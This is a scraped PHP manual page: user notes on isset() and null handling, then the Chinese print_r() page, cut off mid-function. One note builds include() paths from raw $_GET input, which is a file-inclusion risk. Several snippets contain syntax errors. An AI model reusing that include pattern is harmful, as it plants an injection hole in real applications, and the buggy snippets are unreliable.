If you regard isset() as indicating whether the given variable has a value or not, and recall that NULL is intended to indicate that a value is _absent_ (as said, somewhat awkwardly, on its manual page), then its behaviour is not at all inconsistent or confusing.

It's not just to check for uninitialised variables - a lot of the time those are just due to sloppy coding. There are other ways a variable could fail to have a value (e.g., it's meant to hold the value returned from a function call but the function didn't have a value to return) where uninitialising the variable would not be an option nor even make sense (e.g., depending on what was to be done with the returned value).
dominic dot mayers at meditationstudies dot org 01-Jul-2017 11:24
The comment http://php.net/manual/en/function.is-null.php#80409 brings the interesting point that is_null will throw an error if the variable was not set at all.  So, we can distinguish a variable that is unset through a NULL assignment and a variable that is simply not set at all. However,  the returned value under is_null is the same in both cases, only the error message differs.

We can define another function that determines if the variable is "set," including "set" by a NULL assignment.  It's a different concept, different definitions  of isset, etc.  Mixing these different concepts can be confusing.

In the current definitions for isset, is_null, NULL, etc., the extra "and is not NULL" in the definition of isset is redundant, because is_null is the opposite of isset.  We should not mix that with the other concept mentioned above.
dominic dot mayers at meditationstudies dot org 01-Jul-2017 09:51
The doc says that isset "determines if a variable is set and is not NULL."  I prefer to simply say that it "determines that a variable is set," that's it. Adding "is not NULL" is redundant, because isset($v) is the same as ! is_null($v) : http://php.net/manual/en/types.comparisons.php.

The  extra "is  not NULL" is actually a bit confusing. Some might start to complain that it would have been simpler to only determine that the variable is set, not realizing that it's exactly what isset does.

The purpose of the redundant "is not NULL" is to bring out that if a  variable is set to NULL,  isset will return false, but it was implicit in the definition of NULL.
kurdtpage at gmail dot com 21-Dec-2016 01:03
The new (as of PHP7) 'null coalesce operator' allows shorthand isset. You can use it like so:

<?php
// Fetches the value of $_GET['user'] and returns 'nobody'
// if it does not exist.
$username = $_GET['user'] ?? 'nobody';
// This is equivalent to:
$username = isset($_GET['user']) ? $_GET['user'] : 'nobody';

// Coalescing can be chained: this will return the first
// defined value out of $_GET['user'], $_POST['user'], and
// 'nobody'.
$username = $_GET['user'] ?? $_POST['user'] ?? 'nobody';
?>

Quoted from http://php.net/manual/en/migration70.new-features.php#migration70.new-features.null-coalesce-op
p_ignorethis_lbowers at gmail dot com 06-Oct-2016 07:26
I, too, was dismayed to find that isset($foo) returns false if ($foo == null). Here's an (awkward) way around it.

unset($foo);
if (compact('foo') != array()) {
  do_your_thing();
}

Of course, that is very non-intuitive, long, hard-to-understand, and kludgy. Better to design your code so you don't depend on the difference between an unset variable and a variable with the value null. But "better" only because PHP has made this weird development choice.

In my thinking this was a mistake in the development of PHP. The name ("isset") should describe the function and not have the desciption be "is set AND is not null". If it was done properly a programmer could very easily do (isset($var) || is_null($var)) if they wanted to check for this!

A variable set to null is a different state than a variable not set - there should be some easy way to differentiate. Just my (pointless) $0.02.
ayyappan dot ashok at gmail dot com 24-Mar-2016 07:23
Return Values :
Returns TRUE if var exists and has value other than NULL, FALSE otherwise.

<?php
$a=NULL;
$b=FALSE; //The out put was TRUE.
$c=TRUE;
$d='';
$e="";
if(isset($b)):
echo "TRUE";
else:
echo "FALSE";
endif;
?>
Could any one explain me in clarity.
ohcc at 163 dot com 21-Nov-2015 08:59
When a variable is set and its values is null, isset() returns false.

You can use array_key_exists() to check whether a null value variable exists.

<?php
    $wxc = null;
    var_dump( isset( $wxc ) );
    var_dump( array_key_exists( 'wxc', $GLOBALS ) );
?>

Output of the above example:

bool(false) bool(true)
andreasonny83 at gmail dot com 12-May-2015 11:26
Here is an example with multiple parameters supplied

<?php
$var = array();
$var['val1'] = 'test';
$var['val2'] = 'on';

if ( isset( $var['val1'], $var['val2'] ) && $var['val2'] === 'on' ) {
    unset( $var['val1'] );
}
print_r( $var );
?>

This will output:
Array
(
    [val2] => on
)

The following code does the same calling "isset" 2 times:

<?php
$var = array();
$var['val1'] = 'test';
$var['val2'] = 'on';

if ( isset( $var['val1'] ) && isset( $var['val2'] ) && $var['val2'] === 'on' ) {
    unset( $var['val1'] );
}
print_r( $var );
?>
flobee 08-Nov-2013 02:38
KISS: array_key_exists() is often the answer, not isset()
<?php
$array['secure'] = null;
if ( isset( $array['secure'] ) ) {
    // what happens here?
}?>
marcio at suhdo dot com 07-Jul-2013 11:08
//thin way to set a variable
$foo  = isset($_POST['foo']) ? $_POST['foo'] : null;
uramihsayibok, gmail, com 25-Apr-2013 11:32
Note that isset() is not recursive as of the 5.4.8 I have available here to test with: if you use it on a multidimensional array or an object it will not check isset() on each dimension as it goes.

Imagine you have a class with a normal __isset and a __get that fatals for non-existant properties. isset($object->nosuch) will behave normally but isset($object->nosuch->foo) will crash. Rather harsh IMO but still possible.

<?php

class FatalOnGet {

    // pretend that the methods have implementations that actually try to do work
    // in this example I only care about the worst case conditions

    public function __get($name) {
        echo "(getting {$name}) ";

        // if property does not exist {
            echo "Property does not exist!";
            exit;
        // }
    }

    public function __isset($name) {
        echo "(isset {$name}?) ";
        // return whether the property exists
        return false;
    }

}

$obj = new FatalOnGet();

// works
echo "Testing if ->nosuch exists: ";
if (isset($obj->nosuch)) echo "Yes"; else echo "No";

// fatals
echo "\nTesting if ->nosuch->foo exists: ";
if (isset($obj->nosuch->foo)) echo "Yes"; else echo "No";

// not executed
echo "\nTesting if ->irrelevant exists: ";
if (isset($obj->irrelevant)) echo "Yes"; else echo "No";

?>

    Testing if ->nosuch exists: No
    Testing if ->nosuch->foo exists: Property does not exist!

Uncomment the echos in the methods and you'll see exactly what happened:

    Testing if ->nosuch exists: (isset nosuch?) No
    Testing if ->nosuch->foo exists: (getting nosuch) Property does not exist!

On a similar note, if __get always returns but instead issues warnings or notices then those will surface.
Daniel Klein 29-May-2012 03:49
How to test for a variable actually existing, including being set to null. This will prevent errors when passing to functions.

<?php
// false
var_export(
  array_key_exists('myvar', get_defined_vars())
);

$myvar;
// false
var_export(
  array_key_exists('myvar', get_defined_vars())
);

$myvar = null;
// true
var_export(
  array_key_exists('myvar', get_defined_vars())
);

unset($myvar);
// false
var_export(
  array_key_exists('myvar', get_defined_vars())
);

if (array_key_exists('myvar', get_defined_vars())) {
  myfunction($myvar);
}
?>

Note: you can't turn this into a function (e.g. is_defined($myvar)) because get_defined_vars() only gets the variables in the current scope and entering a function changes the scope.
qeremy 07-Mar-2012 03:36
Simple solution for: "Fatal error: Can't use function return value in write context in ..."

<?php
function _isset($val) { return isset($val); }
?>
benallfree at gmail dot com 21-Apr-2011 06:21
isset() returns TRUE if a value is NULL. That seems wrong to me as there is no way to distinguish between a value set to NULL and a truly undefined value.

If you have this problem inside a class, there is a fix:

<?php
class T
{
  function __isset($att)
  {
    $props = get_object_vars($this);
    return array_key_exists($att, $props);
  }
}

$x = new T();
$x->foo_exists = 4;

var_dump(isset($x->foo_exists)); // TRUE
var_dump(isset($x->bar_exists)); // FALSE
?>
[EDITOR thiago NOTE: This snippet has improvements by "Paul Lashbrook"]
Cuong Huy To 23-Mar-2011 05:08
1) Note that isset($var) doesn't distinguish the two cases when $var is undefined, or is null. Evidence is in the following code.

<?php
unset($undefined);
$null = null;
if (true === isset($undefined)){echo 'isset($undefined) === true'} else {echo 'isset($undefined) === false'); // 'isset($undefined) === false'
if (true === isset($null)){echo 'isset($null) === true'} else {echo 'isset($null) === false');              // 'isset($null)      === false'
?>

2) If you want to distinguish undefined variable with a defined variable with a null value, then use array_key_exist

<?php
unset($undefined);
$null = null;

if (true !== array_key_exists('undefined', get_defined_vars())) {echo '$undefined does not exist';} else {echo '$undefined exists';} // '$undefined does not exist'
if (true === array_key_exists('null', get_defined_vars())) {echo '$null exists';} else {echo '$null does not exist';}                // '$null exists'
?>
francois vespa 22-Dec-2010 07:21
Now this is how to achieve the same effect (ie, having isset() returning true even if variable has been set to null) for objects and arrays

<?php

// array

$array=array('foo'=>null);

return isset($array['foo']) || array_key_exists('foo',$array)
  ? true : false ; // return true

return isset($array['inexistent']) || array_key_exists('inexistent',$array)
  ? true : false ; // return false

// static class

class bar

{
  static $foo=null;
}

return isset(bar::$foo) || array_key_exists('foo',get_class_vars('bar'))
  ? true : false ; // return true

return isset(bar::$inexistent) || array_key_exists('inexistent',get_class_vars('bar'))
  ? true : false ; // return false

// object

class bar
{
    public $foo=null;
}

$bar=new bar();

return isset($bar->foo) || array_key_exists('foo',get_object_vars($bar))
  ? true : false ; // return true

return isset($bar->inexistent) || array_key_exists('inexistent',get_object_vars($bar))
  ? true : false ; // return true

// stdClass

$bar=new stdClass;
$bar->foo=null;

return isset($bar->foo) || array_key_exists('foo',get_object_vars($bar))
  ? true : false ; // return true

return isset($bar->inexistent) || array_key_exists('inexistent',get_object_vars($bar))
  ? true : false ; // return true

?>
i [at] nemoden [dot] com 14-Jun-2010 11:48
Simple, but very useful:

<?php
function issetOr($var, $or = false) {
  return isset($var) ? $var : $or;
}
?>

Some examples:
<?php
$a = '1';
$b = '2';
echo issetOr($a,issetOr($b,3)); // 1
?>
<?php
$b = '2';
echo issetOr($a,issetOr($b,3)); // 2
?>
<?php
echo issetOr($a,issetOr($b,3)); // 3
?>
Anl zselgin 14-Aug-2009 03:30
Note: Because this is a language construct and not a function, it cannot be called using variable functions.

So why it is under "Variable handling Functions". Maybe there should be some good documentation field for language constructs.
Ashus 08-Dec-2008 01:05
Note that array keys are case sensitive.

<?php
$ar['w'] = true;

var_dump(isset($ar['w']),
      isset($ar['W']));
?>

will report:
bool(true) bool(false)
a dot schaffhirt at sedna-soft dot de 12-Oct-2008 08:01
You can safely use isset to check properties and subproperties of objects directly. So instead of writing

    isset($abc) && isset($abc->def) && isset($abc->def->ghi)

or in a shorter form

    isset($abc, $abc->def, $abc->def->ghi)

you can just write

    isset ($abc->def->ghi)

without raising any errors, warnings or notices.

Examples
<?php
    $abc = (object) array("def" => 123);
    var_dump(isset($abc));                // bool(true)
    var_dump(isset($abc->def));           // bool(true)
    var_dump(isset($abc->def->ghi));      // bool(false)
    var_dump(isset($abc->def->ghi->jkl)); // bool(false)
    var_dump(isset($def));                // bool(false)
    var_dump(isset($def->ghi));           // bool(false)
    var_dump(isset($def->ghi->jkl));      // bool(false)

    var_dump($abc);                       // object(stdClass)#1 (1) { ["def"] => int(123) }
    var_dump($abc->def);                  // int(123)
    var_dump($abc->def->ghi);             // null / E_NOTICE: Trying to get property of non-object
    var_dump($abc->def->ghi->jkl);        // null / E_NOTICE: Trying to get property of non-object
    var_dump($def);                       // null / E_NOTICE: Trying to get property of non-object
    var_dump($def->ghi);                  // null / E_NOTICE: Trying to get property of non-object
    var_dump($def->ghi->jkl);             // null / E_NOTICE: Trying to get property of non-object
?>
mark dot fabrizio at gmail dot com 15-Sep-2008 07:01
I know this is probably not the recommended way to do this, but it seems to work fine for me. Instead of the normal isset check to extract variables from arrays (like $_REQUEST), you can use the @ prefix to squelch any errors.

For example, instead of:
<?php
$test = isset($_REQUEST['test']) ? $_REQUEST['test'] : null;
?>
you can use:
<?php
$test = @$_REQUEST['test'];
?>

It saves some typing, but doesn't give the opportunity to provide a default value. If 'test' is not an assigned key for $_REQUEST, the assigned value will be null.
mandos78 AT mail from google 29-Jul-2008 02:40
Careful with this function "ifsetfor" by soapergem, passing by reference means that if, like the example $_GET['id'], the argument is an array index, it will be created in the original array (with a null value), thus causing posible trouble with the following code. At least in PHP 5.

For example:

<?php
$a = array();
print_r($a);
ifsetor($a["unsetindex"], 'default');
print_r($a);
?>

will print

Array
(
)
Array
(
    [unsetindex] =>
)

Any foreach or similar will be different before and after the call.
anonymousleaf at gmail dot com 25-Feb-2008 10:16
isset expects the variable sign first, so you can't add parentheses or anything.

<?php
    $foo = 1;
    if(isset(($foo))) { // Syntax error at isset((
        $foo = 2;
    }
?>
muratyaman at gmail dot com 07-Feb-2008 04:40
To organize some of the frequently used functions..

<?php

/**
 * Returns field of variable (arr[key] or obj->prop), otherwise the third parameter
 * @param array/object $arr_or_obj
 * @param string $key_or_prop
 * @param mixed $else
 */
function nz($arr_or_obj, $key_or_prop, $else){
  $result = $else;
  if(isset($arr_or_obj)){
    if(is_array($arr_or_obj){
      if(isset($arr_or_obj[$key_or_prop]))
        $result = $arr_or_obj[$key_or_prop];
    }elseif(is_object($arr_or_object))
      if(isset($arr_or_obj->$key_or_prop))
        $result = $arr_or_obj->$key_or_prop;
    }
  }
  return $result;
}

/**
 * Returns integer value using nz()
 */
function nz_int($arr_or_obj, $key_or_prop, $else){
  return intval(nz($arr_or_obj, $key_or_prop, $else));
}

$my_id = nz_int($_REQUEST, 'id', 0);
if($my_id > 0){
  //why?
}
?>
packard_bell_nec at hotmail dot com 25-Dec-2007 11:18
Note: isset() only checks variables as anything else will result in a parse error. In other words, the following will not work: isset(trim($name)).

isset() is the opposite of is_null($var) , except that no warning is generated when the variable is not set.
talbutt(at)mail(dot)med(dot)upenn(edu) 13-Aug-2007 08:30
In PHP 5.2.3, really returns true if the variable is set to null.
black__ray at myway dot com 03-Jul-2007 04:40
if(isset($_POST['in_qu']))
          {

          include("qanda/in_qu.php");
          $content.=$message;
          include("qanda/view_qanda.php");
    }
elseif(isset($_GET['rq']))
          {
          include("qanda/add_answer.php");
    }
elseif(isset($_POST['add_answer']))
          {
          include("qanda/in_an.php");
          $content.=$message;
          include("qanda/view_qanda.php");
    }
elseif($_GET['act']== 'v_qanda' && !(isset($_GET['rq'])))
{
include("qanda/view_qanda.php");
}
/*
if(isset($_POST['add_answer']))
beuc at beuc dot net 01-Jan-2007 01:56
Beware that the chk() function below creates the variable or the array index if it didn't existed.

<?php
function chk(&$var) {
  if (!isset($var))
    return NULL;
  else
    return $var;
}

echo '<pre>';
$a = array();
var_dump($a);
chk($a['b']);
var_dump($a);
echo '</pre>';

// Gives:
// array
//   empty
//
// array
//   'b' => null
?>
beuc at beuc dot net 16-Dec-2006 12:35
"empty() is the opposite of (boolean) var, except that no warning is generated when the variable is not set."

So essentially
<?php
if (isset($var) && $var)
?>
is the same as
<?php
if (!empty($var))
?>
doesn't it? :)

!empty() mimics the chk() function posted before.
randallgirard at hotmail dot com 27-Sep-2006 11:51
The unexpected results of isset has been really frustrating to me. Hence, it doesn't work how you'd think it would, (as documented) a var currently in the scope with a null value will return false.

Heres a quick solution, perhaps there are better ways of going about this, but heres my solution...

<?php
function is_set( $varname, $parent=null ) {
  if ( !is_array( $parent ) && !is_object($parent) ) {
    $parent = $GLOBALS;
  }
  return array_key_exists( $varname, $parent );
}
?>

Hence, $varname should be a mixed value of var's to check for, and $parent can be an array or object, which will default to the GLOBAL scope. See the documentation of array_key_exists for further information.

This will allow to check if a var is in the current scope, object, or array... Whether it's a null, false, true, or any value. It depends on ARRAY_KEY_EXISTS for it's functionality which also works with Objects. Feel free to improve on this anyone ;D
Tee Cee 20-Aug-2006 05:20
In response to 10-Feb-2006 06:02, isset($v) is in all (except possibly buggy) cases equivalent to !is_null($v). And no, it doesn't actually test if a variable is set or not by my definition "$v is set if unset($v) has no effect".

<?php
unset($c); //force $c to be unset
var_dump($a=&$c); // NULL, but this actually sets $a and $c to the 'same' NULL.
var_dump(isset($c)); // bool(false)
var_dump($a = 5); // int(5)
var_dump($c); // int(5)

unset($c);
var_dump($a=&$c); // NULL
var_dump(isset($c)); // bool(false)
unset($c);
var_dump($a = 5); // int(5)
var_dump($c); // NULL
?>

In the following example, we see an alternate method of testing if a variable is actually set or not:
<?php
var_dump(array_key_exists('c',get_defined_vars())); // false
var_dump(isset($c));                                // also false
var_dump($c);                                       // manipulate $c a bit...
var_dump((string)$c);
var_dump(print_r($c,true));
var_dump($a=$c);
var_dump(array_key_exists('c',get_defined_vars())); // ... still false
var_dump($c = NULL);                                // this sets $c
var_dump(array_key_exists('c',get_defined_vars())); // true!
var_dump(isset($c));                                // false; isset() still says it's unset
unset($c);                                          // actually unset it
var_dump(array_key_exists('c',get_defined_vars())); // false
var_dump($a=&$c);
var_dump(array_key_exists('c',get_defined_vars())); // true!
unset($c);                                          // unset it again
var_dump(&$c);                                      // &NULL
var_dump(array_key_exists('c',get_defined_vars())); // true!
?>

Obviously, null values take up space (or they wouldn't show up in get_defined_vars). Also, note that &$v sets $v to NULL if it is unset.
21-Jul-2006 07:08
I tried the example posted previously by Slawek:

$foo = 'a little string';
echo isset($foo)?'yes ':'no ', isset($foo['aaaa'])?'yes ':'no ';

He got yes yes, but he didn't say what version of PHP he was using.

I tried this on PHP 5.0.5 and got:  yes no

But on PHP 4.3.5 I got:  yes yes

Apparently, PHP4 converts the the string 'aaaa' to zero and then returns the string character at that position within the string $foo, when $foo is not an array. That means you can't assume you are dealing with an array, even if you used an expression such as isset($foo['aaaa']['bbb']['cc']['d']), because it will return true also if any part is a string.

PHP5 does not do this. If $foo is a string, the index must actually be numeric (e.g. $foo[0]) for it to return the indexed character.
soywiz at php dot net 14-Apr-2006 06:12
Sometimes you have to check if an array has some keys. To achieve it you can use "isset" like this: isset($array['key1'], $array['key2'], $array['key3'], $array['key4'])
You have to write $array all times and it is reiterative if you use same array each time.

With this simple function you can check if an array has some keys:

<?php
function isset_array() {
    if (func_num_args() < 2) return true;
    $args = func_get_args();
    $array = array_shift($args);
    if (!is_array($array)) return false;
    foreach ($args as $n) if (!isset($array[$n])) return false;
    return true;
}
?>

Use: isset_array($array, 'key1', 'key2', 'key3', 'key4')
First parameter has the array; following parameters has the keys you want to check.
Slawek Petrykowski 29-Nov-2005 03:06
<?php
$foo = 'a little string';
echo isset($foo)?'yes ':'no ', isset($foo['aaaa'])?'yes ':'no ';
>

results with unexpected values:
yes yes

Well, it is necessary to check type of $foo first !
14-Sep-2005 03:41
I don't know if you guys can use this but i find this piece of code pretty useful (for readabillity at least):

function isset_else( $&v, $r )
{
    if( isset( $v ))
        return $v;
    else
        return $r;
}

This way you can go:

$a = 4;

$c += isset_else( $a, 0 );
$c += isset_else( $b, 0 );

echo $c;

Of course, this code would work anyway, but you get the point.
Andrew Penry 11-May-2005 08:17
The following is an example of how to test if a variable is set, whether or not it is NULL. It makes use of the fact that an unset variable will throw an E_NOTICE error, but one initialized as NULL will not.

<?php

function var_exists($var){
    if (empty($GLOBALS['var_exists_err'])) {
        return true;
    } else {
        unset($GLOBALS['var_exists_err']);
        return false;
    }
}

function var_existsHandler($errno, $errstr, $errfile, $errline) {
   $GLOBALS['var_exists_err'] = true;
}

$l = NULL;
set_error_handler("var_existsHandler", E_NOTICE);
echo (var_exists($l)) ? "True " : "False ";
echo (var_exists($k)) ? "True " : "False ";
restore_error_handler();

?>

Outputs:
True False

The problem is, the set_error_handler and restore_error_handler calls can not be inside the function, which means you need 2 extra lines of code every time you are testing. And if you have any E_NOTICE errors caused by other code between the set_error_handler and restore_error_handler they will not be dealt with properly. One solution:

<?php

function var_exists($var){
   if (empty($GLOBALS['var_exists_err'])) {
       return true;
   } else {
       unset($GLOBALS['var_exists_err']);
       return false;
   }
}

function var_existsHandler($errno, $errstr, $errfile, $errline) {
    $filearr = file($errfile);
    if (strpos($filearr[$errline-1], 'var_exists') !== false) {
        $GLOBALS['var_exists_err'] = true;
        return true;
    } else {
        return false;
    }
}

$l = NULL;
set_error_handler("var_existsHandler", E_NOTICE);
echo (var_exists($l)) ? "True " : "False ";
echo (var_exists($k)) ? "True " : "False ";
is_null($j);
restore_error_handler();

?>

Outputs:
True False
Notice: Undefined variable: j in filename.php on line 26

This will make the handler only handle var_exists, but it adds a lot of overhead. Everytime an E_NOTICE error happens, the file it originated from will be loaded into an array.
yaogzhan at gmail dot com 20-Mar-2005 04:52
in PHP5, if you have

<?PHP
class Foo
{
    protected $data = array('bar' => null);

    function __get($p)
    {
        if( isset($this->data[$p]) ) return $this->data[$p];
    }
}
?>

and
<?PHP
$foo = new Foo;
echo isset($foo->bar);
?>
will always echo 'false'. because the isset() accepts VARIABLES as it parameters, but in this case, $foo->bar is NOT a VARIABLE. it is a VALUE returned from the __get() method of the class Foo. thus the isset($foo->bar) expreesion will always equal 'false'.
pianistsk8er at gmail dot com 09-Dec-2004 06:23
This function is very useful while calling to the URL to specify which template to be used on certain parts of your application.

Here is an example...

<?php

    $cat = $_GET['c'];
    $id = $_GET['id'];
    $error = 'templates/error.tpl';

    if( isset($cat))
    {
        if( isset($id))
        {
            $var = 'templates/pics/' . $cat . '-' . $id . '.tpl';
            if (is_file($var))
            {
                include($var);
            }
            else
            {
                include($error);
            }
        }
        else
        {
            $var = 'templates/pics/' . $cat . '.tpl';
            if (is_file($var))
            {
                include($var);
            }
            else
            {
                include($error);
            }
        }
    }
    else
    {
        include('templates/alternative.'.tpl);
    }

?>

You can see several uses of the isset function being used to specify wheter a template is to be called upon or not.  This can easily prevent other generic PHP errors.
jc dot michel at symetrie dot com 15-Nov-2004 02:35
Using
  isset($array['key'])
is useful, but be careful!
using
  isset($array['key']['subkey'])
doesn't work as one could expect, if $array['key'] is a string it seems that 'subkey' is converted to (integer) 0 and $array['key']['subkey'] is evaluated as the first char of the string.
The solution is to use
  is_array($array['key']) && isset($array['key']['subkey'])

Here is a small code to show this:

<?php
$ex = array('one' => 'val1','two' => 'val2');
echo '$ex = ';print_r($ex);
echo "<br />";

echo " isset(\$ex['one']['three']) : ";
if (isset($ex['one']['three']))
    echo 'true';
else
    echo 'false';

echo "<br />";
echo "is_array(\$ex['one']) &&  isset(\$ex['one']['three']) : ";
if (is_array($ex['one']) && isset($ex['one']['three']))
    echo 'true';
else
    echo 'false';
?>

shows:
$ex = Array ( [one] => val1 [two] => val2 )
isset($ex['one']['three']) : true
is_array($ex['one']) && isset($ex['one']['three']) : false


以易于理解的格式打印变量。

  • ? isset
  • serialize ?
  • PHP Manual
  • Variable handling 函数
  • 以易于理解的格式打印变量。

print_r

(PHP 4, PHP 5, PHP 7)

print_r — 以易于理解的格式打印变量。

说明

print_r ( mixed $expression [, bool $return = FALSE ] ) : mixed

print_r() 以人类易读的格式显示一个变量的信息。

print_r()、
var_dump()、
var_export()
都会显示对象 protected 和 private 的属性。
Class 的静态属性（static） 则不会显示。

参数

expression

要打印的表达式。

return

想要获取 print_r() 输出的内容，使用 return 参数。 当此参数为 TRUE，print_r() 会直接返回信息，而不是输出。

返回值

如果输入的内容是 string、 integer 或 float，会直接输出值本身。 如果输入的内容是 array，展示的格式会显示数组的键和包含的元素。object 也类似。

当 return 参数设置成 TRUE，本函数会返回 string 格式。否则返回 TRUE。

注释

Note:

当使用了return 参数时，本函数使用其内部输出缓冲，因此不能在 ob_start() 回调函数的内部使用。

范例

Example #1 print_r() 例子

<pre>
<?php
$a = array ('a' => 'apple', 'b' => 'banana', 'c' => array ('x', 'y', 'z'));
print_r ($a);
?>
</pre>

以上例程会输出：

<pre>
Array
(
    [a] => apple
    [b] => banana
    [c] => Array
        (
            [0] => x
            [1] => y
            [2] => z
        )
)
</pre>

Example #2 return 参数的例子

<?php
$b = array ('m' => 'monkey', 'foo' => 'bar', 'x' => array ('x', 'y', 'z'));
$results = print_r($b, true); // $results 包含了 print_r 的输出
?>

参见

  • ob_start() - 打开输出控制缓冲
  • var_dump() - 打印变量的相关信息
  • var_export() - 输出或返回一个变量的字符串表示

User Contributed Notes

ajaykwatra at gmail dot com 12-Mar-2018 08:33
easier and better readability with print_r and vardump for php developers

https://gist.github.com/akwatra/b6a2f21b33e7a86d148618d8a83276b0
Soaku 28-Sep-2017 04:47
liamtoh6@hotmail.com posted a function that will echo print_r output with proper new lines in HTML files. He used <pre> for it to work, but that might not be always the best method to go. For example, it is not valid to place <pre> inside <p>.

Here is my way to do this:

<?php

function print_rbr ($var, $return = false) {
  $r = nl2br(htmlspecialchars(print_r($var, true)));
  if ($return) return $r;
  else echo $r;
}

?>

This function will:

- Place <br> where newlines are,
- Escape unsecure characters with HTML entities.
Soaku 28-Jul-2017 10:24
Remember to always htmlspecialchars print_r output, if it can contain html characters.

<?php

$array = array("<some>html<tags>");

print_r($array); // Invalid output, HTML breaks.
echo htmlspecialchars(print_r($array, true)); // Works and doesn't break the output.
?>
simivar at gmail dot com 21-Jun-2017 01:31
I've fixed function wrote by Matt to reverse print_r - it had problems with null values. Created a GIST for that too so please add any future fixes in there instead of this comment section:
https://gist.github.com/simivar/037b13a9bbd53ae5a092d8f6d9828bc3

<?php
/**
  * Matt: core
  * Trixor: object handling
  * lech: Windows suppport
  * simivar: null support
  *
  * @see http://php.net/manual/en/function.print-r.php
  **/
function print_r_reverse($input) {
        $lines = preg_split('#\r?\n#', trim($input));
        if (trim($lines[ 0 ]) != 'Array' && trim($lines[ 0 ] != 'stdClass Object')) {
            // bottomed out to something that isn't an array or object
            if ($input === '') {
                return null;
            }

            return $input;
        } else {
            // this is an array or object, lets parse it
            $match = array();
            if (preg_match("/(\s{5,})\(/", $lines[ 1 ], $match)) {
                // this is a tested array/recursive call to this function
                // take a set of spaces off the beginning
                $spaces = $match[ 1 ];
                $spaces_length = strlen($spaces);
                $lines_total = count($lines);
                for ($i = 0; $i < $lines_total; $i++) {
                    if (substr($lines[ $i ], 0, $spaces_length) == $spaces) {
                        $lines[ $i ] = substr($lines[ $i ], $spaces_length);
                    }
                }
            }
            $is_object = trim($lines[ 0 ]) == 'stdClass Object';
            array_shift($lines); // Array
            array_shift($lines); // (
            array_pop($lines); // )
            $input = implode("\n", $lines);
            $matches = array();
            // make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
            preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $input, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
            $pos = array();
            $previous_key = '';
            $in_length = strlen($input);
            // store the following in $pos:
            // array with key = key of the parsed array's item
            // value = array(start position in $in, $end position in $in)
            foreach ($matches as $match) {
                $key = $match[ 1 ][ 0 ];
                $start = $match[ 0 ][ 1 ] + strlen($match[ 0 ][ 0 ]);
                $pos[ $key ] = array($start, $in_length);
                if ($previous_key != '') {
                    $pos[ $previous_key ][ 1 ] = $match[ 0 ][ 1 ] - 1;
                }
                $previous_key = $key;
            }
            $ret = array();
            foreach ($pos as $key => $where) {
                // recursively see if the parsed out value is an array too
                $ret[ $key ] = print_r_reverse(substr($input, $where[ 0 ], $where[ 1 ] - $where[ 0 ]));
            }

            return $is_object ? (object)$ret : $ret;
        }
    }
?>
anymix dot services at gmail dot com 28-May-2017 04:31
// New var export option

function varExp($E,$vE){
    $vE.="=array(";$sep="";
    foreach ($E as $veK => $veV) {
        $vE.=$sep."'$veK'=>'$veV'";$sep=",";
    }
    $vE.=");";
    return $vE;
}

print varExp($I,"\$I");
lech 02-May-2017 08:30
A slight amendment to Matt's awesome print_r_reverse function (Thank You, a life-saver - data recovery :-) . If the output is copied from a Windows system, the end of lines may include the return character "\r" and so the scalar (string) elements will include a trailing "\r" character that isn't suppose to be there. To resolve, replace the first line in the function with...

<?php $lines = preg_split('#\r?\n#', trim($in)); ?>

This will work for both cases (Linux and Windows).

I include the entire function below for completeness, but all credit to Matt, the original author, Thank You.

<?php
//Author: Matt (http://us3.php.net/print_r)
function print_r_reverse($in) {
    $lines = preg_split('#\r?\n#', trim($in));
    if (trim($lines[0]) != 'Array') {
        // bottomed out to something that isn't an array
        return $in;
    } else {
        // this is an array, lets parse it
        if (preg_match("/(\s{5,})\(/", $lines[1], $match)) {
            // this is a tested array/recursive call to this function
            // take a set of spaces off the beginning
            $spaces = $match[1];
            $spaces_length = strlen($spaces);
            $lines_total = count($lines);
            for ($i = 0; $i < $lines_total; $i++) {
                if (substr($lines[$i], 0, $spaces_length) == $spaces) {
                    $lines[$i] = substr($lines[$i], $spaces_length);
                }
            }
        }
        array_shift($lines); // Array
        array_shift($lines); // (
        array_pop($lines); // )
        $in = implode("\n", $lines);
        // make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
        preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $in, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
        $pos = array();
        $previous_key = '';
        $in_length = strlen($in);
        // store the following in $pos:
        // array with key = key of the parsed array's item
        // value = array(start position in $in, $end position in $in)
        foreach ($matches as $match) {
            $key = $match[1][0];
            $start = $match[0][1] + strlen($match[0][0]);
            $pos[$key] = array($start, $in_length);
            if ($previous_key != '') $pos[$previous_key][1] = $match[0][1] - 1;
            $previous_key = $key;
        }
        $ret = array();
        foreach ($pos as $key => $where) {
            // recursively see if the parsed out value is an array too
            $ret[$key] = print_r_reverse(substr($in, $where[0], $where[1] - $where[0]));
        }
        return $ret;
    }
}
?>
Trixor 01-Feb-2017 07:12
I've made a small improvement to the print_r_reverse function to also handle objects. Thanks to Matt for making the original.

<?php
function print_r_reverse($in) {
  $lines = explode("\n", trim($in));
  if (trim($lines[0]) != 'Array' && trim($lines[0] != 'stdClass Object')) {
// bottomed out to something that isn't an array or object
    return $in;
  } else {
// this is an array or object, lets parse it
    $match = array();
    if (preg_match("/(\s{5,})\(/", $lines[1], $match)) {
// this is a tested array/recursive call to this function
// take a set of spaces off the beginning
      $spaces = $match[1];
      $spaces_length = strlen($spaces);
      $lines_total = count($lines);
      for ($i = 0; $i < $lines_total; $i++) {
        if (substr($lines[$i], 0, $spaces_length) == $spaces) {
          $lines[$i] = substr($lines[$i], $spaces_length);
        }
      }
    }
    $is_object = trim($lines[0]) == 'stdClass Object';
    array_shift($lines); // Array
    array_shift($lines); // (
    array_pop($lines); // )
    $in = implode("\n", $lines);
    $matches = array();
// make sure we only match stuff with 4 preceding spaces (stuff for this array and not a nested one)
    preg_match_all("/^\s{4}\[(.+?)\] \=\> /m", $in, $matches, PREG_OFFSET_CAPTURE | PREG_SET_ORDER);
    $pos = array();
    $previous_key = '';
    $in_length = strlen($in);
// store the following in $pos:
// array with key = key of the parsed array's item
// value = array(start position in $in, $end position in $in)
    foreach ($matches as $match) {
      $key = $match[1][0];
      $start = $match[0][1] + strlen($match[0][0]);
      $pos[$key] = array($start, $in_length);
      if ($previous_key != '') {
        $pos[$previous_key][1] = $match[0][1] - 1;
      }
      $previous_key = $key;
    }
    $ret = array();
